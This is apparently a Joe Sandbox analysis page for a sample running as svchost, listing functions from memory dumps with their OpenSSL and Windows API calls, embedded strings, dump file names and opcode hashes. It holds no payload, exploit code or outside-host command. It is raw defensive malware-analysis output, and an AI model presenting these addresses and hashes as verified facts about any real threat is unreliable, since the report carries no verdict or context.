EVP_PKEY_get_security_bits.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,00007FFBAB41D570), ref: 00007FFBAB43A1DF
X509_get_signature_info.LIBCRYPTO-3-X64(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,00007FFBAB41D570), ref: 00007FFBAB43A253

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: X509_get0_pubkeyY_get_security_bits$X509_get_signature_info
String ID:
API String ID: 3773881001-0
Opcode ID: 484340bd9b23e6ba0e5baea181da7954af29bdda51387c808e050ab38c3b22cf
Instruction ID: 055febd8143693f58ed647039583a0edf9923d880d151e8c7d49821891c39249
Opcode Fuzzy Hash: 484340bd9b23e6ba0e5baea181da7954af29bdda51387c808e050ab38c3b22cf
Instruction Fuzzy Hash: 594181A3A4E7C246FA769A75E441BBE6280BF94784F0CC035ED6D477A6DE3DD4048701

Function 649464A0 Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

CreateSemaphoreA.KERNEL32 ref: 6494650C
_errno.MSVCRT ref: 6494654D
_errno.MSVCRT ref: 64946560
_errno.MSVCRT ref: 64946573
_errno.MSVCRT ref: 64946586

Memory Dump Source

Source File: 0000001A.00000002.2845005161.0000000064941000.00000020.00000001.01000000.0000000E.sdmp, Offset: 64940000, based on PE: true

Associated: 0000001A.00000002.2844972741.0000000064940000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845071231.000000006494A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845106580.000000006494E000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845149388.0000000064950000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845182355.0000000064953000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_64940000_svchost.jbxd

Similarity

API ID: _errno$CreateSemaphore
String ID:
API String ID: 4016566793-0
Opcode ID: 589d0227ed7358cdbab2bd92d4174e6ec32cd5d37d7a8e4e3cf95ff430ec2371
Instruction ID: b79095f19616a0e1c0eed2ee7e78f77239b15f2aeb5a75ddd7e641c4488f5580
Opcode Fuzzy Hash: 589d0227ed7358cdbab2bd92d4174e6ec32cd5d37d7a8e4e3cf95ff430ec2371
Instruction Fuzzy Hash: 9011B1B2BC56008AF7195F39D9003492AA6AB9ABB4F189324CE29433C4DF3CCC51CB60

Function 64947570 Relevance: 7.6, APIs: 5, Instructions: 57timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 649475B5
GetCurrentProcessId.KERNEL32 ref: 649475C0
GetCurrentThreadId.KERNEL32 ref: 649475C8
GetTickCount.KERNEL32 ref: 649475D0
QueryPerformanceCounter.KERNEL32 ref: 649475DD

Memory Dump Source

Source File: 0000001A.00000002.2845005161.0000000064941000.00000020.00000001.01000000.0000000E.sdmp, Offset: 64940000, based on PE: true

Associated: 0000001A.00000002.2844972741.0000000064940000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845071231.000000006494A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845106580.000000006494E000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845149388.0000000064950000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845182355.0000000064953000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_64940000_svchost.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: ea8bfe2061e22a54fb9383ec99bc53ec21c7b77bb38b29a6e5ad63f23be09ef5
Instruction ID: 0c0c2922cb4178c1b0210dc40f9cacb2f98c604e546ea9db0ef1c374853c2b83
Opcode Fuzzy Hash: ea8bfe2061e22a54fb9383ec99bc53ec21c7b77bb38b29a6e5ad63f23be09ef5
Instruction Fuzzy Hash: 6D11A322791B5486F711AB29FD0835663A2B789BE4F181274DE6D47BA4EB3CC896C310

Function 649465A0 Relevance: 7.6, APIs: 5, Instructions: 54sleepCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 649465CE
Sleep.KERNEL32(?,?,?,?,649416A0), ref: 64946602
Sleep.KERNEL32(?,?,?,?,649416A0), ref: 649465F7

Part of subcall function 64943070: CloseHandle.KERNEL32 ref: 6494308F

_errno.MSVCRT ref: 6494662C
_errno.MSVCRT ref: 6494663F

Memory Dump Source

Source File: 0000001A.00000002.2845005161.0000000064941000.00000020.00000001.01000000.0000000E.sdmp, Offset: 64940000, based on PE: true

Associated: 0000001A.00000002.2844972741.0000000064940000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845071231.000000006494A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845106580.000000006494E000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845149388.0000000064950000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845182355.0000000064953000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_64940000_svchost.jbxd

Similarity

API ID: CloseHandleSleep_errno
String ID:
API String ID: 3806203616-0
Opcode ID: 6a839e314fafbd7497d028076ab11196cdc404032560b441b8063b65648a7ce0
Instruction ID: 03ddaebe43857b623ab1e550e4093299913edf0f9749a6867346f71a96c3e09c
Opcode Fuzzy Hash: 6a839e314fafbd7497d028076ab11196cdc404032560b441b8063b65648a7ce0
Instruction Fuzzy Hash: 1C018CB53C060482FB99AF36ED1036D2765AB56BE8F5812358E2A83790DF3DC891C710

Function 64941A20 Relevance: 7.6, APIs: 5, Instructions: 52COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 64941A36
LeaveCriticalSection.KERNEL32 ref: 64941A53
LeaveCriticalSection.KERNEL32 ref: 64941A7A

Memory Dump Source

Source File: 0000001A.00000002.2845005161.0000000064941000.00000020.00000001.01000000.0000000E.sdmp, Offset: 64940000, based on PE: true

Associated: 0000001A.00000002.2844972741.0000000064940000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845071231.000000006494A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845106580.000000006494E000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845149388.0000000064950000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845182355.0000000064953000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_64940000_svchost.jbxd

Similarity

API ID: CriticalSection$Leave$Enter
String ID:
API String ID: 2978645861-0
Opcode ID: 57d73889eeb91523de87f080284301cfa8d29add8d7bd3e5f7b6e4a3d255b1d7
Instruction ID: 2dd914d0eaea0fc0e1107ad45c6fa9da700d638ea0117e3c271b5cb5a1496ee8
Opcode Fuzzy Hash: 57d73889eeb91523de87f080284301cfa8d29add8d7bd3e5f7b6e4a3d255b1d7
Instruction Fuzzy Hash: 8E01F72279520983EB194F67FD55319B6959B97BE6F18C2308E0E46390ED3CC4A68300

Function 64946E10 Relevance: 7.5, APIs: 5, Instructions: 32COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 64946E25
OpenProcess.KERNEL32 ref: 64946E3C
CloseHandle.KERNEL32 ref: 64946E4A
_errno.MSVCRT ref: 64946E52
GetLastError.KERNEL32 ref: 64946E5B

Memory Dump Source

Source File: 0000001A.00000002.2845005161.0000000064941000.00000020.00000001.01000000.0000000E.sdmp, Offset: 64940000, based on PE: true

Associated: 0000001A.00000002.2844972741.0000000064940000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845071231.000000006494A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845106580.000000006494E000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845149388.0000000064950000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845182355.0000000064953000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_64940000_svchost.jbxd

Similarity

API ID: Process$CloseCurrentErrorHandleLastOpen_errno
String ID:
API String ID: 202612177-0
Opcode ID: 587258b105657c6678b600fc4fc5aeb211ef1c91ff3197a6972a381e73b22a44
Instruction ID: d49a8a23e1058b1192e3c43f6f29e1dfd3ea68b05546fdb3f02e8313691cc950
Opcode Fuzzy Hash: 587258b105657c6678b600fc4fc5aeb211ef1c91ff3197a6972a381e73b22a44
Instruction Fuzzy Hash: B1F0A76038550187EF0D5F72D8483AF61E79B0EB55F145539CD1A86390EF3DC975C620

Function 00007FFBAB454FC0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 122COMMON

Download Yara Rule

APIs

BIO_free_all.LIBCRYPTO-3-X64 ref: 00007FFBAB455184
BIO_free_all.LIBCRYPTO-3-X64 ref: 00007FFBAB45518D

Strings

expect_quic, xrefs: 00007FFBAB45500F
ssl\quic\quic_impl.c, xrefs: 00007FFBAB45501B

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_free_all
String ID: expect_quic$ssl\quic\quic_impl.c
API String ID: 310313773-2248945671
Opcode ID: 15b2d37eae2f8a52fc166bf9abe41406fd35eb0714cc4f03ec213e35d74a03aa
Instruction ID: ba905e01da82b525362baf53a8aa9565544e608284c9ef933cd07692ad15fecf
Opcode Fuzzy Hash: 15b2d37eae2f8a52fc166bf9abe41406fd35eb0714cc4f03ec213e35d74a03aa
Instruction Fuzzy Hash: AC5145B2B0A94152EA16EB36D5617BE6360FB81B80F448132DFAE47776CF2DE8518340

Function 00007FFBAB47EAD0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB47EBA6
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB47EBBE

Part of subcall function 00007FFBAB411C50: CRYPTO_zalloc.LIBCRYPTO-3-X64 ref: 00007FFBAB411C95

Strings

ssl\statem\extensions_clnt.c, xrefs: 00007FFBAB47EBB7
tls_construct_ctos_psk_kex_modes, xrefs: 00007FFBAB47EBAB

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_zallocR_newR_set_debug
String ID: ssl\statem\extensions_clnt.c$tls_construct_ctos_psk_kex_modes
API String ID: 905617597-4063274569
Opcode ID: 2b3b31fc3803c5442b98ba5a2bc4f271e948038e965265075d1ff68827f78bb6
Instruction ID: 941a1e792549ca3095dadf6461f2f54fc58782ce62a5be1a09f3f901fcf8b58d
Opcode Fuzzy Hash: 2b3b31fc3803c5442b98ba5a2bc4f271e948038e965265075d1ff68827f78bb6
Instruction Fuzzy Hash: E52188B1F5A24342FB66D732E5417B966949F847C0F08C131DE2E876EAEE2CE891D740

Function 00007FFBAB4848C0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 68COMMON

Download Yara Rule

Strings

tls_construct_stoc_use_srtp, xrefs: 00007FFBAB48497C
ssl\statem\extensions_srvr.c, xrefs: 00007FFBAB484988

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID:
String ID: ssl\statem\extensions_srvr.c$tls_construct_stoc_use_srtp
API String ID: 0-4262462768
Opcode ID: c4a55dc7796a97d0d3bedc18d1a66b86293761fb96297563a579c3614535115c
Instruction ID: 40eb73ddd806d241d904e48d087f7dd7d2b1d1a11c02bff6c176eb6eb1eecf26
Opcode Fuzzy Hash: c4a55dc7796a97d0d3bedc18d1a66b86293761fb96297563a579c3614535115c
Instruction Fuzzy Hash: 7A21A7A1F1A18341FF629B72E5427B91291AF847C0F48C031DE2D87AF6EF2DE8418740

Function 00007FFBAB486700 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 68COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB4867CD
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB4867E5

Strings

tls_parse_ctos_psk_kex_modes, xrefs: 00007FFBAB4867D2
ssl\statem\extensions_srvr.c, xrefs: 00007FFBAB4867DE

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug
String ID: ssl\statem\extensions_srvr.c$tls_parse_ctos_psk_kex_modes
API String ID: 193678381-1408400335
Opcode ID: 1664ac46c74a3d6c35e180c5fe07e029471e94f55fe2409f73b2284da7284fa3
Instruction ID: 36f2b17eb6534895d2e14c1e6f8dda0daa4ce046ba09ee2cfced4ac186754767
Opcode Fuzzy Hash: 1664ac46c74a3d6c35e180c5fe07e029471e94f55fe2409f73b2284da7284fa3
Instruction Fuzzy Hash: 6821A4A5E0A38242FBA29FB0D5017B96394EF15748F088530DEED466A9EF3CE684C744

Function 00007FFBAB484170 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 66COMMON

Download Yara Rule

Strings

tls_construct_stoc_server_cert_type, xrefs: 00007FFBAB484224
ssl\statem\extensions_srvr.c, xrefs: 00007FFBAB484230

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID:
String ID: ssl\statem\extensions_srvr.c$tls_construct_stoc_server_cert_type
API String ID: 0-3789259862
Opcode ID: 21c3a3a4bb4487e34a21a0d52e51086deb9666c07572ba5d578d7e40614766c1
Instruction ID: 2eedaf96f9afd895f566ebfbbd253f27c01786b8d508e2a28342ffcb13a0332d
Opcode Fuzzy Hash: 21c3a3a4bb4487e34a21a0d52e51086deb9666c07572ba5d578d7e40614766c1
Instruction Fuzzy Hash: A521B3A1F1D18245FB5293B6E1463F912819F457C4F088031EE794BAE7DF2DD486C302

Function 00007FFBAB482C10 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 65COMMON

Download Yara Rule

Strings

tls_construct_stoc_alpn, xrefs: 00007FFBAB482CC7
ssl\statem\extensions_srvr.c, xrefs: 00007FFBAB482CD3

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID:
String ID: ssl\statem\extensions_srvr.c$tls_construct_stoc_alpn
API String ID: 0-2562604191
Opcode ID: e2bb9be5eb591082602a80186975cc9e842cf4bd3fae6847177589c066f45b27
Instruction ID: a9608d6f37b88b535a60b9228bcba1b27f293bdba0ae5d3b1ace9da9a8319b9f
Opcode Fuzzy Hash: e2bb9be5eb591082602a80186975cc9e842cf4bd3fae6847177589c066f45b27
Instruction Fuzzy Hash: 2D2190A1F0964342FB569772F9523BA1240AF547C0F088432EF6D8B7E6EE2CE8918311

Function 00007FFBAB498AEC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 64COMMON

Download Yara Rule

Strings

ossl_statem_server_write_transition, xrefs: 00007FFBAB498DD8
ssl\statem\statem_srvr.c, xrefs: 00007FFBAB498DE4

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID:
String ID: ossl_statem_server_write_transition$ssl\statem\statem_srvr.c
API String ID: 0-156501081
Opcode ID: 22eec64ec76cd787db3ac982d4cd720efbdf4c6106d0429dab9c7dd1a34bf672
Instruction ID: d8c5a7dd5ba6eb5b98c2d34feaf59eaa7e811831571638f3d01f58d8f9945ff1
Opcode Fuzzy Hash: 22eec64ec76cd787db3ac982d4cd720efbdf4c6106d0429dab9c7dd1a34bf672
Instruction Fuzzy Hash: CF1175A2A0A28187E317CB39D4D52BC3B51EB85B54F88C472DF5C877A3CD6CA495C711

Function 00007FFBAB484280 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 57COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB484308
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB484320

Part of subcall function 00007FFBAB487C10: ERR_vset_error.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB472254), ref: 00007FFBAB487C3F

Strings

tls_construct_stoc_server_name, xrefs: 00007FFBAB48430D
ssl\statem\extensions_srvr.c, xrefs: 00007FFBAB484319

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debugR_vset_error
String ID: ssl\statem\extensions_srvr.c$tls_construct_stoc_server_name
API String ID: 1390262125-4046455571
Opcode ID: ac2944453ccd839ccc3cc914e697e592a87e4940b6ca7bc7569bd65b5b45840c
Instruction ID: 75e83acac98a5361d8ccb6a1d43ceb07606037ada8c72b4b301b66facbfe0095
Opcode Fuzzy Hash: ac2944453ccd839ccc3cc914e697e592a87e4940b6ca7bc7569bd65b5b45840c
Instruction Fuzzy Hash: 7011A2A2B1928182EBA6D776E4857FD6391EB447C4F58C431DE2C876B2DF2CD885C700

Function 00007FFBAB47EBF0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 56COMMON

Download Yara Rule

Strings

ssl\statem\extensions_clnt.c, xrefs: 00007FFBAB47EC97
tls_construct_ctos_renegotiate, xrefs: 00007FFBAB47EC8B

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID:
String ID: ssl\statem\extensions_clnt.c$tls_construct_ctos_renegotiate
API String ID: 0-652228395
Opcode ID: d94eb0b2ecef283a94decfd1885502cad7cdf09c7cb4966c3539a5bb948096a6
Instruction ID: 6388feee5c019c1eb0974e7b74d3ab6b8afcd6bb175ce4bfa29e1e68a9f92e14
Opcode Fuzzy Hash: d94eb0b2ecef283a94decfd1885502cad7cdf09c7cb4966c3539a5bb948096a6
Instruction Fuzzy Hash: D711C4A1F4A24342FB669732F6467F91244AF447C4F048031EE2D4B6E7EE2CE5C18300

Function 00007FFBAB47E0D0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 55COMMON

Download Yara Rule

Strings

ssl\statem\extensions_clnt.c, xrefs: 00007FFBAB47E16E
tls_construct_ctos_maxfragmentlen, xrefs: 00007FFBAB47E162

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID:
String ID: ssl\statem\extensions_clnt.c$tls_construct_ctos_maxfragmentlen
API String ID: 0-3558564283
Opcode ID: 32f1fd75370dc0860335a7f32e55792e5b998efdae202afceac39d9a1490f931
Instruction ID: a316976b9607775b29e26298964c5844ff2863c8a38081f528040e9ae905ae5e
Opcode Fuzzy Hash: 32f1fd75370dc0860335a7f32e55792e5b998efdae202afceac39d9a1490f931
Instruction Fuzzy Hash: 2B118FA1B5918241FB529732E9427FA52859F457C0F08C031EE3D8BAE7ED2DE9858B00

Function 64944410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 64944464
_ultoa.MSVCRT ref: 64944476
OutputDebugStringA.KERNEL32 ref: 649444BC

Strings

Error cleaning up spin_keys for thread , xrefs: 6494444A

Memory Dump Source

Source File: 0000001A.00000002.2845005161.0000000064941000.00000020.00000001.01000000.0000000E.sdmp, Offset: 64940000, based on PE: true

Associated: 0000001A.00000002.2844972741.0000000064940000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845071231.000000006494A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845106580.000000006494E000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845149388.0000000064950000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845182355.0000000064953000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_64940000_svchost.jbxd

Similarity

API ID: CurrentDebugOutputStringThread_ultoa
String ID: Error cleaning up spin_keys for thread
API String ID: 2892977721-2906507043
Opcode ID: d7c6b92f146a5297dce9a32d46367a64f4f2bdd00a0e22e95ee11bb5d40a8c71
Instruction ID: 6273affc26e83ed8f3c49a0d043d27fd3918550a2ad95c3d4e2fd7ba9164ba49
Opcode Fuzzy Hash: d7c6b92f146a5297dce9a32d46367a64f4f2bdd00a0e22e95ee11bb5d40a8c71
Instruction Fuzzy Hash: A711086278868082FF258F34E41035A2BE2E74676CF540731DA68467E8DB3DC545CB01

Function 00007FFBAB47E1A0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 51COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB47E218
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB47E230

Part of subcall function 00007FFBAB487C10: ERR_vset_error.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB472254), ref: 00007FFBAB487C3F

Strings

ssl\statem\extensions_clnt.c, xrefs: 00007FFBAB47E229
tls_construct_ctos_npn, xrefs: 00007FFBAB47E21D

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debugR_vset_error
String ID: ssl\statem\extensions_clnt.c$tls_construct_ctos_npn
API String ID: 1390262125-1587923133
Opcode ID: 0c87cd5eec68373dc162cae14ffbd167cd557b2670521c11d28808d4a897c9fb
Instruction ID: 5e950d78fae387a16d1ea286493c451a67b335142878e68c806d6b22316a744d
Opcode Fuzzy Hash: 0c87cd5eec68373dc162cae14ffbd167cd557b2670521c11d28808d4a897c9fb
Instruction Fuzzy Hash: 9E11E3A1F5918141FBA69736E5867F91294EB887C0F488131DE2C876F2DE3CDAC5C701

Function 00007FFBAB47E420 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 50COMMON

Download Yara Rule

Strings

ssl\statem\extensions_clnt.c, xrefs: 00007FFBAB47E4AF
